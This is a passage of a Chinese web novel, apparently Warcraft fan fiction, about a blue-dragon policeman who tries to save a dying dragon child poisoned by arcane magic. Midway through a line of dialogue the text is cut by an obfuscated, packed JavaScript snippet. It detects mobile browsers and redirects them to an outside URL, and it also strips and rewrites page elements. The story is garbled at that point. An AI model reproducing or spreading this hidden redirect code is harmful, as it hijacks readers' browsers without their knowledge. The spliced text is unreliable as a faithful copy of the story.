刚才还一片死寂的灾区突然变成战场,硝烟弥漫,火光四起,即使当年东部大陆两大□□家族街头火拼也没这么大阵仗。 萨菲隆收起枪,独自一人走进枪林弹雨中,他的瞳孔蓝得异乎寻常,仿佛体内的什么东西被“激活”了一样,他的身体被一层冰蓝色的冻气覆盖,他每走一步,脚下都会出现白色的冻斑。 他并不担心被流弹或是炸弹碎片击中,他的身体很结实,即使没有那层冻气凝结成的“冰盾”也不会被那些玩具似的武器伤及分毫,之所以会“多此一举”,不过是为了保护他那身薄薄的警察制服罢了——若是衣服被射得到处都是弹孔,可身上非但没一点伤,连点血都没流,这也实在太难向他的同事和上司交代了,他总不能说自己其实是个刀枪不入的超人吧? 想着想着,萨菲隆已经来到了枪炮声最密集的地方。 熊熊烈火中,萨菲隆看到一个人正用枪指着他。 “放下武器!”他大喝一声。 然而那人却对他的命令置若罔闻,端着枪一步步朝他逼近。 “盟军就要胜利了!别再顽抗了,莎希亚!别逼我杀你!”那人高喊。 ? 盟军?什么盟军?联盟吗? 莎希亚?那是谁?好像是个女人的名字? “不,我不会跟你走的,吉米,我是个间谍,我罪有应得。” 萨菲隆身后突然响起另一个声音,他转身一瞥,只见一个女人拿着枪指着他。 间谍? 紧接着一声枪响,女人胸口出现了一个红点,接着慢慢扩大。 “我恨你,吉米……我从未爱过你。”女人说着这话,身体失去平衡,缓缓倒下。 在萨菲隆看来,这确实是“缓缓倒下”——就像电影里的慢动作一样。 “不!——”另一边男人情绪失控地大吼着冲了过来,同样是“慢动作般的”。 他竟然像个影子一样凭空“穿过”了萨菲隆的身体,径自奔向那尚未完全倒地的女人,一把搂住她,用力摇着她的肩,大叫着:“不,你不能死,莎希亚!我爱你!” 萨菲隆算是有点明白了。 他所看到的这一切并不是真实的,包括正在生离死别的“吉米”和“莎希亚”,以及这个以假乱真的“战场“,这种电影式的浪漫主义在现实中并不存在,应该是某种令人身临其境,真假难辨的幻象。 以艾泽拉斯现在的科技,还不可能做出这种程度的全息影像,即使可以,也根本没理由出现在这种地方。 所以,只能是某种强力幻术。 不过,就连尤亚姆巴岛上最高明的赞达拉巨魔幻术师也没有这种实力。 那么只有一种可能了。 萨菲隆立即进入高度戒备状态,身上寒气四溢。 和人类的不法分子打交道是一回事,与龙族成员接触,那是另一回事。 更何况这可能是条难缠至极的绿龙。 “我叫萨菲隆,我和那些人类并非有意侵犯你的领地,但我没闻到你的气味。” 他开口说话,讲的却是另一种截然不同的语言: “你是谁?告诉我你的名字。” 无论那种颜色的龙,都很不喜欢擅闯自己地盘的不速之客,如果这个地方是某条隐居在暴风城的龙的领地,那么他最明智的做法是立即离开,因为那些幻象正是为了赶走“入侵者”而设的。 没人回答他。 萨菲隆凝视着四周的幻象,想从中找出端倪。 等一下。 火光虽然炽烈,他却没有灼热感,烟雾很浓,空气闻起来却并不呛鼻。 他抚过一簇鲜红的火,手掌安然无恙。 绿龙的幻术更类似于某种深层催眠,在潜意识中获得的感受会真实地映射到现实之中——如果饥肠辘辘的你在绿龙的幻术中吃了一顿大餐,那么当你清醒后会发现自己已经饱了,并且齿间余味犹存;如果你在绿龙的幻术中跑了一个马拉松,那么你醒来后会累得只有喘气的份儿。 如果你在绿龙的幻术中死去,那么你永远也不会再醒过来。 因为现实中的你已经死了。 他的手并未被烫伤,所以这不是绿龙。 这种仅限于视觉和听觉的幻象,更像是…… “你是谁?告诉我,我不会伤害你,我叫萨菲隆,也许我认识你!” 他高声叫道。 呜呜…… 萨菲隆听到了一个声音。 他忙集中精神,尽可能地滤掉杂音干扰,努力确认那个信号的源头。 那是一个孩子的抽泣声,同时还夹杂着其他纷乱的思绪。 走开!不要来烦我!…… 呜呜…… 哭什么哭?没出息的家伙!反正你也要死了,不会有人来可怜你! 救救我……不管你是谁,求求你救救我。 没人会救你的,你是个没人要的可怜虫。 “很好,继续,坚持住。”听着那个声音,萨菲隆加快脚步。 别过来!走开!! 烟雾中毫无征兆地冲出一辆坦克,那个钢铁打造的庞然大物恶狠狠地朝他碾来。 然而再一次地,坦克穿过了萨菲隆的身体,什么也没发生。 对于他的接近,对方毫不掩饰自己强烈的抵触情绪,甚至用死亡来恐吓他。 但萨菲隆不为所动,在他看来,这只不过是发脾气的小孩子的把戏。 “我就要找到你了,小鬼。” 不要靠近我……求求你…… 我只想一个人待着。 就让我这样死了吧。 见强硬没有用,那个声音又开始苦苦哀求。 萨菲隆扒开堆积如山的碎砖块,拗断足有常人手腕粗的钢筋,用拳头击碎厚重的石板,他的手像挖掘机一样势不可挡。 最后,他掀开一堵坍塌的墙,踏进了一间已经被毁得不成样子的地下室。 在那个扭曲变形的狭小空间里,萨菲隆发现了幻象的制造者。 那是个看上去约莫十岁的小男孩。 他的半个身子被压在废墟里,地上有一大摊早已干涸的血。 那孩子看上去实在是糟透了,微微起伏的胸膛显示他还有一口气。 觉察到自己身边有人,小男孩微微睁开眼。 那是萨菲隆见过的最漂亮的蓝眼睛。 孩子的喉头蠕动了一下,艰难地发出嘶哑的声音。 “我……我还不想死——” 话音未落,他猛地吐出一大口血。 漆黑发亮的污血溅在了萨菲隆的胸膛上,浸透了他的制服衬衣。 闻着身上的血,萨菲隆的心猛地抽紧。 那是龙的味道。 这个孩子是只尚未成年的龙崽。 只有濒死的蓝龙,眼瞳里的色泽才会璀璨如斯。 3. 第 3 章 电视里正在播放介绍冬泉谷温泉仓鼠的节目,猫伏在沙发扶手上,聚精会神地盯着屏幕上那些看起来美味可口的小绒球们。 突然房间里所有的东西都开始震动起来,在客厅的沙发和电视机之间的区域出现了一条极细极亮的蓝色的“裂隙”,就像被人裁了一刀似的。 紧接着那道“裂隙”里伸出一只手,那只手扒着“裂隙”的边沿将其撕开,随即客厅里的景象出现程度不同的扭曲,空间发出不情愿的低沉共鸣声,像是很不乐意让“那边”的东西过来。 小猫眯着眼盯着不断扩大的“裂隙”,空间扭曲引发的能量反应影响了电视信号,屏幕上满是杂乱的色块和噪点,什么都看不到,这令它很不耐烦。 最终“裂隙”被彻底撑开,客厅出现了一个巨大的人影。 萨菲隆全身咝咝冒烟,浑身上下流窜着蓝色闪光,他的眼瞳蓝得惊人,仿佛熊熊燃烧的瓦斯炉——事实上空间穿越对他来说是小菜一碟,根本无需大动干戈,但若还要带上“乘客”,这位小乘客还是条奄奄一息、随时可能死于奥术污染的蓝龙幼崽,情况就完全不同了。 小猫喵呜喵呜地叫着以示抗议,跳下沙发迎上前用爪子挠萨菲隆的大皮鞋。 “嗯?”萨菲隆这才注意到被他弄成花屏的电视机,连连道歉,“嗨,对不起对不起,待会儿再挠我好不好?我这里有要紧事……“ 顾不上安抚他的猫,萨菲隆抱着那个孩子来到卧室,把他放到床上。 这个孩子的情况实在是不能再糟了——在废墟下被困了将近一个月,大量失血,严重脱水,要是人类早就死了,而眼下最棘手的,是这个孩子体内的奥术污染严重得连萨菲隆都束手无策。 奥术是一种具有“混乱”性质的能量,在现代文明出现前,魔法学术界将一切无法归类的能量都划入奥术的范畴,这是一种异常强大同时非常危险的能量,简单来说有些类似核能,造福或者毁灭世界只隔一线。 五大龙族各有其职,红龙掌生,绿龙司梦,铜龙控时,黑龙镇地,而蓝龙的领域是魔法奥秘——说得直白一些,那就是红龙是医生,绿龙是心理学家,铜龙是时空特工,黑龙是房地产开发商和石油大亨,而蓝龙是科学家。 科学家并不总是对的,常常会把事情搞砸——奥术能量是如此复杂晦涩,就连蓝龙也无法驾驭自如。为了避免不测,蓝龙一族对奥术应用和研究有着极其严格的规定,一条蓝龙能使用什么程度的奥术能量,由自身能力等级决定;每条蓝龙出生后都要接受评估,奥术能力测试一百年一次,领到执照后才能学习和使用对应的能力——如果只有开SUV的执照,却硬要去开坦克,结果只有一个,那就是走火入魔,遭到奥术污染。 萨菲隆的眉头皱成了一座山。 这个小家伙身上,到底发生了什么事? 开坦克是开不成这样的,看着光景,这小家伙没准是要开航天飞机。 小孩的呼吸突然急促起来,眉心现出蓝色光纹,诡秘的纹案随即蔓延至全身,萨菲隆握着那孩子的手,光纹甚至攀爬上了他的指尖,企图侵蚀他的身体。 萨菲隆沉着脸,放开小孩的手,双掌交握,搓掉了光垢。 他正值壮年,体能充沛,这种奥术污染不会对他有什么影响,然而对这个孩子来说,则是地狱般的折磨。 小孩开始抽泣,他紧紧地抱着自己的双臂,缩成一团。 看着小孩痛苦的模样,萨菲隆攥紧的拳头上青筋鼓得老高。 很久很久以前,他也受过这种苦,他知道奥术污染发作的时候会有多疼。 他以为除了自己,再也没有别的蓝龙会这么痛苦。 萨菲隆把小孩抱在自己怀里,小心地抚着他的后颈,嘴里轻声嘘着。 “别哭,别哭。” 即使以蓝龙的标准,小孩的体温也低得吓人,见小孩疼得一阵阵地抽搐,浑身僵硬得像块石头,萨菲隆想了想,把手臂放到小孩嘴边,那龙崽大概是疼糊涂了,一见“人肉”,也顾不得分辨,眼中凶光一闪,不由分说就狠狠咬住不放,尖尖的小獠牙嵌进萨菲隆的皮肉里约莫半寸,他一声不响,还努力放松身体,免得自己皮厚肉粗的,把小家伙的牙给崩掉。 趁小孩发狠地咬他的手臂,萨菲隆扯开小孩身上破烂的汗衫。 看到小孩的背,萨菲隆瞳孔骤缩。 小孩的背上“刻”着一对鲜血凝成的龙翼,奥术污染引发的蓝色光纹凝聚在血痕周围,形成了某种增生物。 奥术能量已经开始泄露,这只龙崽很快连人类形态都无法维持了。 对于蓝龙来说这只意味着一件事。 小孩快要死了。 “挺住啊,小鬼。”萨菲隆咬了咬牙,搂紧小孩,把自己的能量注进那具羸弱瘦小的躯体。 小孩尖叫起来,双臂无助地挥动着,像是要抓住什么东西。 小孩身上的每个毛孔都渗出浓黑如墨的污血,汇聚在一起的污血顺着肢体流淌着,滴在地上,咝咝地腐蚀着木板,若是平时萨菲隆肯定会吓得跳起来,可现在他已顾不上那么多了。 奥术污染已经侵蚀得太深,光是要把小孩体内的致命污染清除,就得把他体内的血液完全更换,更别提已经病变的内脏和混乱的心智,在萨菲隆想出办法前,小孩会因失血过多而死……可他还能怎么办? 也许是萨菲隆的力量驱出了一部分污染,小孩原本涣散的目光略为清朗了一些。 他抬起冰冷的手,放在萨菲隆的肩膀上,用低哑的声音对那满身大汗的男人说: “别白费力气了。” 萨菲隆喘着粗气,瞪着那小孩。 “你想要什么?”小孩一脸疲惫地问他。 “你没看出来吗?我想救你,小鬼。”见小孩开口说话,萨菲隆又喜又怕。 “你救不了我的。”小孩说着,上下打量着他,“你是谁?” 之后他又垂下眼,像是这问题的答案对他来说无关紧要。 “你爸爸是谁?”萨菲隆问。 “反正不是你。”小孩说,“放心,我不会赖上你的。” “他为什么会把你一个人留在这里?”萨菲隆又问。 “不知道。” “……你不想让我帮你找到他吗?” “不想。”小孩瞥了一眼他制服上的警徽,“问完了吗?可以让我死得清静点吗?” 他依然只是个孩子,无论表情看起来有多成熟,稚嫩的嗓音仍旧出卖了他。 萨菲隆是个警察,也接触过很多不良少年,可在他的印象中,小屁孩要学坏也约莫是十四五岁以后的事,十岁的小鬼应该无忧无虑只知道玩才对。 竟敢扮酷说什么“让我死得清静点”,得好好揍一顿屁股才是。 “就算你找到他也来不及了。”小孩说,“这你比我清楚。” 萨菲隆没再吭声。 小孩说的没错。 由于长期与奥术打交道,奥术污染一直以来就是蓝龙一族的隐疾。 蓝龙的生育率非常低,平均每一万只蓝龙蛋里只有百分之一能被它们的父亲成功授精,其中又只有百分之一能顺利孵化,能顺利度过幼年期而不夭折的更是凤毛麟角,相比起人丁兴旺的红龙,蓝龙在这方面简直是从上到下一片愁云惨雾——这全都是因为奥术污染。 刚刚出生的蓝龙幼崽,体内都有不同程度的奥术污染,很容易夭折,所以蓝龙爸爸和蓝龙妈妈必须精心照料,蓝龙的整个幼年期都必须跟自己的双亲——尤其是和父亲待在一起,因为要抑制蓝龙宝宝体内的奥术污染以令其健康成长,主要得靠父亲的蓝龙之力。 小孩正处于幼年期,他的情况之所以会这么糟糕,当然不是因为他要开航天飞机,而是他没和自己的父亲在一起——没有成年雄性蓝龙的保护,龙崽很难靠自己那点微不足道的蓝龙之力抑制体内的污染扩散。 不管小孩的父亲是谁,都实在太失职。 若在泰坦尼亚,这样的父亲绝对会被告上法庭,直接被剥夺抚养权。 对于蓝龙来说,一只健康的龙崽,是种族延续的希望,是无价之宝。 怎会有人舍得这样对待自己的孩子? 萨菲隆找来干净的毛巾,弄了一盆水,默默地替小孩擦拭。 污血很快就染黑了水盆,他换了三次水才勉强弄干净。 他没有合适的衣服给小孩换,只好翻出自己的汗衫罩在小孩身上,宽大的衣物对小孩来说活像顶帐篷。 萨菲隆给小孩盖好被单,坐在床沿,皱着眉瞅着他。 小孩嗅了嗅领口,确认没什么怪味后便用汗衫裹紧身子,一脸警惕地盯着他。 萨菲隆伸出手,小孩歪了歪脖子,但终于没逃过萨菲隆的巨掌,只得面无表情地让巨人揉他的金发。 萨菲隆叹了口气。 “你叹什么气?”小孩冷冷开口。 “小鬼,我……”萨菲隆低声说,“我救不活你了。” 若是让他早几天发现小孩,若是小孩没在地震中受伤,若是…… 若他是小孩的爸爸,也许还有救。 可他不是。 现在他唯一能做的,就是把小孩弄舒服些,然后看着小孩走完最后一段路。 见他浓眉紧锁,神情凝重,小孩张了张嘴,话到嘴边又咽了下去。 “嗯?”萨菲隆注意到这个细节,俯下身把脸凑近了些,想听清楚些。 “我,我还能活多久?”小孩紧张地问。 萨菲隆心头一颤。 “我才不怕死。”小孩还要嘴硬,“我只是想提前做做准备。” 见那巨人垂头不语,小孩又用手隔着被单碰了碰他的膝盖。 “你——你能不能杀了我?” 萨菲隆恨不得一把捂住小孩的嘴,他真不想再听下去了。 “你是警察,应该很会杀人,对不对?”小孩壮着胆子问。 “你想试试看,是吗?”萨菲隆黑着脸,凶恶地瞪小孩,“我当然很会杀人,要杀你这种小鬼我连一根手指头都用不着,随便吼一声就能震碎你的骨头!” “有没有比较不那么痛的死法?”似乎被他吓着了,小孩朝被单里缩了缩。 “小鬼。”萨菲隆无可奈何地揉着那颗小脑瓜,“你死着不痛,会有人痛啊。” “不会的。”小孩嘀咕着,尔后又提高声音,坐起身叫道,“不会的!” “小鬼你别乱动。”萨菲隆把小孩按回去。 小孩的反应却比他想的更激动:“我死了也不会有人伤心的,你杀了我吧!” “……” “我不知道它下次什么时候来……”小孩突然哭了起来,“有时几天,有时几个钟头……”他胡乱抹着脸,“你怎么杀我都行,只要没那东西发作时那么痛就好——” 萨菲隆明白了,小孩想要安乐死。 他活了这么久,从没像现在这么为难过。 奥术污染这么严重,小孩能撑这么久已经是奇迹,想到这个萨菲隆甚至痛恨起那条红龙来了:奥术污染在体内扩散的滋味他是再清楚不过了,这样耗着隔三差五地被折磨,真是生不如死。小孩的痛苦也许在地震当时就该结束,红龙光环却硬是让他活了下来。 可是,要让他动手杀掉小孩,那是说什么也办不到的。 小孩闹了一阵,体力消耗了大半,渐渐没了声响,似乎是睡过去了。 萨菲隆站起身来,觉得自己筋疲力尽。 喵呜—— 他望向卧室门口,只见他的猫正倚在门框,静静地看着他。 “我该怎么办?”萨菲隆问他的猫。 小猫瞥了他一眼,转身走向客厅。 他双臂环胸,在床边踱来踱去。 小猫跳上立柜,用爪子踩了一下电话答录机上的“播放”键。 “……尊敬的用户您好,东部大陆电信提醒您——” 小猫踩了一下“前进”键。 “喂?老萨?你在家吗?到处都找不到你,到底出什么事啦?再不现身局里的人可要把你列为失踪人口了!” 小猫又踩了一下“前进”。 这次答录机里传来一个男人的声音: “又遇到麻烦了?你的能量反应大得连我都有点不舒服了——怎么,萨夫,要我帮忙吗?” 嘟—— 听到这段留言,萨菲隆一拍脑袋,如梦初醒,从卧室里冲出来扑向电话,抓起听筒噼噼啪啪地按了一通。 线路接通了。 “伊萨,是我。”他的声音压得很低。 “我知道是你,说吧,萨夫,要我做什么?” 萨菲隆忙把他在南区中央广场的经历简要叙述了一遍。 “……真稀奇,你竟然在地震中心的废墟里捡到了一条小蓝龙?” “那小鬼……那小鬼的情况很糟糕,估计已经……伊萨,我——” “你想给他安乐死,可是却下不了手?” “不!……不是。” “没关系,这种事我最拿手了。” “不不,伊萨,我绝对没有这个意思。”听着电话那边的男人轻描淡写,萨菲隆赶紧强调,“那孩子的命是他自己的,谁也不能擅自替他做主!” “可是,奥术污染发作的时候,会很痛苦吧?” “是。” “那孩子意识尚存的时候,有没有求过你,让你给他一个痛快?” “……” “有没有?” “有。”萨菲隆承认了,随即他又竖起眉头,“可我不想这么做,伊萨,你听好,我打电话给你,是想求你帮忙救他,我警告你,那小鬼现在睡着了,要是你通过翡翠梦境的连接进入他的意识深处在梦里杀了他,我饶不了你,明白吗?” “再明白也没有了,警官大人。” 电话里的男人笑了。 “萨夫啊萨夫,也只有你,敢在求我的时候还这么凶神恶煞呢。” “……”萨菲隆沉默片刻,闷闷地说,“对不起。” “那么,你想怎么救那个孩子呢?——容我提醒一下,我擅长的领域是精神层面,若你的小鬼有自闭症、狂躁症、失忆或者是植物人什么的,我都可以帮忙,但奥术污染扩散造成的主要是物理损伤,所以我无能为力,就算切断他的神经连接让他感觉不到疼痛,也无法阻止□□崩溃——与其求我,不如去求红龙更实际。” “是的,伊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17363266|199776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 萨!我就是这么想的!现在唯一能救这小鬼的只有红龙了……也许你能帮我找找——” “暴风城里现在没有红龙。” 萨菲隆愣住了:“那……铁炉堡呢?银月城呢?就算达纳苏斯也行,我可以传送过去——” “萨夫,地震救援已经结束,所有的红龙都已经回到泰坦尼亚,别说暴风城,整个东部大陆和卡利姆多都没有红龙的踪迹——你应该知道红龙有多么重视家族和地域,他们不可能像你一样离开泰坦尼亚在凡人的世界里隐居,在大地震里死掉的那条红龙是绝无仅有的。” “老天,帮帮我,伊萨!用你的梦境搜索找出一条红龙来!”萨菲隆忍不住冲着电话低吼起来,“你知道蓝龙要有个孩子多不容易!” “不可能找到的,就没必要去找,况且这和我有何相关?” 电话那头,男人冷冷地问。 “你……”萨菲隆差点没把听筒捏碎。 “那条小蓝龙叫什么?是谁的孩子?蓝龙不喜欢和‘凡类’接触,为什么这个孩子会出现在暴风城南区?萨夫,你能回答我吗?” “……”男人提的三个问题,萨菲隆一个也答不上来。 “现在蓝龙和绿龙的关系已经冷淡到了极点,要不是看在你的份上,那条小蓝龙的事我根本不会插手,更别说给你什么建议了,我不想惹麻烦,不想和那群自以为是的蓝龙打交道——当然你是个例外。” “什么关系冷淡到了极点?蓝龙和绿龙怎么了?”萨菲隆一愣。 “你真是在那里待太久了,居然对龙族的消息如此不灵通——卡雷苟斯死了,莫非你不知道?“ “你说什么?”萨菲隆大吃一惊,他简直不敢相信自己所听到的,“卡雷苟斯?那个卡雷苟斯?” “是的,就是那个卡雷苟斯,蓝龙最显赫的麦洛尼家族的长子,家族第一顺位继承人,你们的君王玛里苟斯大人的特使,下任蓝龙首席执政官的候选人之一——他已经死了,诺森德的亡者之书上有他的名字,所以这不是谣传。” 萨菲隆目瞪口呆,手里的听筒像个烫手山芋,却又无法挂断电话。 “他——怎么死的?“ “他被红龙杀了,死在了暴风城。” “难道与这场地震有关吗?”萨菲隆追问。 “按照你们族里给出的解释,卡雷苟斯的死与暴风城大地震并没有直接关系,他被一条绿龙精神污染后妨碍了红龙执行公务,于是惹来杀身之祸,说起来实在是死得冤枉——大地震是黑龙引起的,但奈法利安公爵说这条黑龙是通缉犯,所以他们不负责,而作为始作俑者的那条绿龙死无对证,于是绿龙一族也连连喊冤——有意思的是,龙族的人闯了大祸,大家都忙着撇清关系呢……不过总而言之,泰坦尼亚已经乱成一团,大家都忙着辨明敌友,用‘暗潮汹涌’来形容可是一点也不过分。” “好吧,好吧,伊萨,我知道了。”萨菲隆揉着太阳穴,又搓了搓眼角。 “萨夫,你可是个靠纳税人的钱过活的人民公仆呢,暴风城发生了这么大的事,幕后显然另有隐情,难道你不应该查明真相吗?” “我现在只想救活这个小鬼。”萨菲隆放软口气,“伊萨,帮帮我,求你?” “这次我实在爱莫能助——萨夫,如果你真想救这条龙崽,那就打开去泰坦尼亚的传送门,直接去格瑞姆巴托求红龙开恩吧。” “你知道我不能回泰坦尼亚。”萨菲隆咬牙切齿地说。 “为了那个孩子,萨夫,那可是蓝龙的孩子,和你的面子相比,哪个更重要?” “该死的,伊萨,那跟面子无关,我——” 萨菲隆气急败坏,对方却已把电话挂了。 咔嚓! 萨菲隆丢下话筒,焦躁不安地耙着头发。 喵呜。 “真的不是为了面子。”萨菲隆摊开手,朝他的猫说。 他不能打开去泰坦尼亚的传送门。 他不能去那座众龙之城。 但是,小鬼就快要死了。 伊萨不会对他说谎,如果他说红龙已离开艾泽拉斯回归泰坦尼亚,那么他就算把东部大陆和卡利姆多翻个底朝天也会徒劳无功。 况且小鬼的情况危急,不是随便找来一条红龙就能“药到病除”的,恐怕得是高位红龙出手才有救了——大法师克拉苏斯、红龙教父瓦拉斯塔兹,甚至是红龙女王阿莱克斯塔萨。 萨菲隆探身朝卧室里张望,小孩毫无生气地躺在床上,这令他感到绝望——红龙守护生命循环的过程,他们同时扮演着生命祝福者和告死天使两种角色——就算那些大人物接受他的求见,他也没有资格提出任何要求,高位红龙对生命的理解超越任何人,违背自然规律逆转死亡显然是不可接受的。 就在萨菲隆一筹莫展时,电话铃再次响起。 他飞快地抓起听筒。 “伊萨,我就知道——” “萨菲隆·弗洛斯特?” 那不是伊萨,却是个陌生的女人的声音。 萨菲隆一愣。 “是我。” “明天正午,暴风城花园公墓,那里有能帮你的人。” 嘟—— 萨菲隆瞪向电话机旁的记录分析仪。 电话是用手机打过来的,位置是暴风城北区的某条购物街。 对方八成已经把手机扔了,他显然不能用空间移动术跑去公众场合把打匿名电话的女人揪出来。 是圈套?那个女人是谁?她似乎什么都知道。 救命稻草从天而降,惊喜疑虑接踵而至,他甚至没注意到电话里的女人说的是龙语。 …… 与此同时,暴风城北区,乌瑞恩大街阳光广场。 “在跟男朋友打电话吗?”一个老妇人笑眯眯地问身边的人。 “啊,不是,只是一个……普通朋友。”坐在老妇人对面的年轻女子一边应着一边合上手机,叫来了服务生,将手机连同一张叠好的钞票放入对方手中,“这也许是之前某个客人留下的。” “好的,小姐。”服务生微微一怔,随即明白过来。 “谢谢。”她微微一笑,伸手在那英俊的服务生的手臂上轻轻一抚。 “你对男人真有一套,小姑娘。”老妇人望着那个服务生远去的背影,眉飞色舞地说,“我打赌那个小帅哥已经被你迷得神魂颠倒,正怦怦心跳呢。” “您笑起来真好看,让我想起一个很重要的人。” “哦亲爱的,你的嘴可真甜。”老妇人抚着心口做甜蜜状,之后又皱了皱眉,“你真想租那间屋子?” “会给您带来困扰吗?” “不,不不不,亲爱的,当然不会。”老妇人连连摆手,“我随时可以搬过去和我儿子一起住,可因为你是个好女孩,所以我必须对你说实话——我想那间屋子不太适合你这种娇滴滴的阔小姐住。” “哦?那是为什么呢?” “嗯……不瞒你说,那间屋子楼上住着一个很讨厌的警察,我已经盯了他很久了,这次租期到了我说什么也要把他轰走,你知道那些臭男人……” 她用银匙搅动杯子里的咖啡,似笑非笑地听着那位房东太太絮絮叨叨。 4. 第 4 章 翌日正午,暴风花园公墓。 细雨绵绵,整齐修剪的绿草坪上,一块块墓碑静静地矗立着。 萨菲隆用一块毯子裹着那条龙崽,把他横抱在自己怀里。 昨晚是个不眠之夜,他几乎没能合眼。 小孩本来睡得昏昏沉沉,不料到了半夜却又突然发作,疼得从床上滚落,睡在客厅沙发上的萨菲隆被惊醒,发现被污染的奥术能量在小孩体内横冲直撞,激烈的能量反应差点引发空间相位扭曲,他赶紧设下结界,以免小孩的蓝龙之力崩溃后形成人工小黑洞把整栋楼都吞掉。 他费尽九牛二虎之力才让小孩熬了过去,抱着重新陷入昏迷状态的小孩,他再也不敢离开,只好把那可怜的小家伙搂在怀里,等到天亮。 怀里有了点动静,小孩从毯子里探出头来,迷迷糊糊地望着那张悬在头顶的模糊的脸: “老……老爸?……”小孩动了动脑袋,恍恍惚惚地看着四周的墓碑,“我……我死了吗?” “没呢,小鬼。”萨菲隆低声说,“很快我们就会遇到能救你的人了。” “没人能救我。”小孩嘟哝着,“……随便在这儿挖个坑,把我埋了吧。” “现在我不跟你计较。”萨菲隆冷哼一声,“等你被治好了我再收拾你。” 小孩压根不理睬他。 但萨菲隆自己也没底,他按照那个神秘电话的指引,来到了花园公墓,但两个小时过去了,没见到一个活人,除了淅淅沥沥的雨声,一切都静得可怕。 有两件事,萨菲隆一直百思不得其解。 一是昨天闹了那么大动静,楼下的房东太太竟然不声不响,换作平时老早就拿着平底锅、扫把或者是鸡毛掸子冲上来兴师问罪了。 二是电话里的女人居然说得是龙语——他在反复听电话录音时才突然意识到这一点。 她用的是龙语的“贵族体”,这种优雅而晦涩的句法为龙族上层社会专用,能掌握“贵族体”的龙非富即贵,萨菲隆不记得自己曾结识过这样的女人。 她的声音……真好听。 只是短短的一句话,却让萨菲隆替小孩守夜时忍不住胡思乱想。 就算没机会见面,能在电话里听她多说几句话也好啊。 墓园的宁静忽然被打破,萨菲隆听到交谈声。 “……为什么不干脆告诉她呢,卡卡?” “告诉她什么?” “你知道我在说什么。” “根本没有这个必要。” “可是她都哭了。” “所以?” “她是真的关心你。” “安多,你是打算干涉我的私事吗?” “没有哇。” “很好。” “可刚刚在暗示她的人是你,我从来不会那么称呼她。” “你到底想说什么,安多?她只是为了执行任务才来到我们的时间线,现在她的任务完成了,所以我们之间已经结束了,噢,不,事实上从来就没有‘开始’过,所以也压根谈不上什么‘结束’,到此为止吧,可以吗?” “我……我只是想找个话题跟你聊聊,卡卡,我……我没别的意思。” “你想聊天?好啊,那我们来聊聊——你穿着那些装腔作势的礼服,系着快把人勒死的领结去参加那些无聊的宴会,跟那帮猪头互拍马屁,我忍着没给你添乱已经够给你面子了——安多,我跟你不是一个世界的人,我永远也不可能像你一样在那所谓的‘上层社会’生存的,不如我们还是分开吧,从今以后各走各路,我也不会到处去说我是你弟弟,免得你丢脸,怎么样?” “卡卡!你……你再说这些胡话,我就要生气了!” 那对兄弟好像有些争执。 叫“卡卡”的那个似乎心情不太好,而叫“安多”的面对弟弟的咄咄逼人却很宽容,就连最后那句看似充满兄长威严的警告,也满是无可奈何,外加一点小委屈。 那两个声音越来越近,但从雨幕中走出来的,却只有一个身影。 那是个身材魁梧的光头巨人,脚上那双看上去足有五公斤重的黑色皮靴踩在湿漉漉的碎花岗岩路面上,咯吱作响。 萨菲隆望着那穿着黑色风衣的高大男人,心想这大概是那个叫“安多”的哥哥。 至于另一个,似乎并不存在。 对方也注意到了萨菲隆。 萨菲隆穿着白汗衫和卡其色的休闲短裤,脚上套着运动凉鞋,怀里抱着一个裹着毛毯的小男孩,完全就是个人畜无害的居家奶爸。 两人对视了一阵,穿黑色风衣的男人低声开口: “真遗憾。” 萨菲隆一愣,之后才明白对方当他是带着儿子来拜祭亡妻的单亲爸爸。 “呃……嗯。” 见萨菲隆仍盯着自己,光头巨人问: “有什么能为您效劳的吗?” 萨菲隆完全感应不到对方有任何龙类的气息,蓝龙本来就不太擅长这个,况且红龙是伪装大师,他们可以随意变动自己的生物特征,能骗过任何人和机器。 直接问对方是不是红龙未免太笨,自报家门又太冒险—— 男人见他半天没反应,也不再说什么,迈步打算离开。 情急之下萨菲隆脱口而出—— “和……家里人一起来的吗?” “是啊。”光头巨人点了点头。 “哥哥应该照顾弟弟,虽然有时挺辛苦……呃,我是说——你知道我的意思。” 萨菲隆打着哈哈,光头巨人却停下脚步,透过墨镜再次打量面前的“居家奶爸”。 细雨不断,萨菲隆身上的衣物却完全没被浸湿,他站着的地方没有溅起半点雨花,细心些看的话,会发现雨在主动避开他和他怀里的孩子。 “阁下是谁?”光头巨人的口气骤然转冷。 萨菲隆摸摸裤袋,想把警徽找出来给对方看。 “你怎会知道我的事?”光头巨人又问。 “我一直待在这里,只是碰巧听到你们两兄弟的对话而已——” “你说什么?你听到了?” 那么大声音听不到才怪哩,那光头干嘛一脸想要杀人灭口的表情? 他听到了,安多。 “这怎么可能?”光头巨人自言自语。 萨菲隆又听到了“卡卡”的声音。 他把要掏出来的警徽又塞了回去。 他用同样狐疑的目光盯着那光头巨人。 他听到了,只有龙才听得到。 “不可能,卡卡,我检查过了。” 他是条在人类世界待了很久的龙——安多,让开。 光头巨人正要说些什么,紧绷的脸却突然缓和下来,双手下垂,像熄了火的发动机,但这种情况只持续了几秒钟,当他再次抬起头来的时候,给萨菲隆的感觉已经完全不同了—— 他歪歪斜斜地站在那里,一手插在裤兜里,另一手从风衣里摸出一包烟,叼起一根,接着打了个响指,食指尖腾起一簇火光。 光头巨人点着烟吸了一口,被烟雾笼罩的脸变得有些模糊。 “我建议开诚布公地谈一谈,你意下如何?” 和先前那个不怒而威、气宇轩昂的男人相比,现在的他完全成了另一个人——虽然有着一模一样的脸和身形,但萨菲隆能轻易地从对方身上嗅到那股从骨子里散发出的痞子味,如果把那件体面的风衣换成花花绿绿的衬衣或是缀满钉扣的皮夹克,就绝对是个地道的街头混混。 “那要看你怎么谈了,先生。”萨菲隆沉声道。 “听口气像是个吃公饭的。”光头巨人咧嘴一笑,喷出一股烟雾,“我被逮捕了吗,警官大人?” 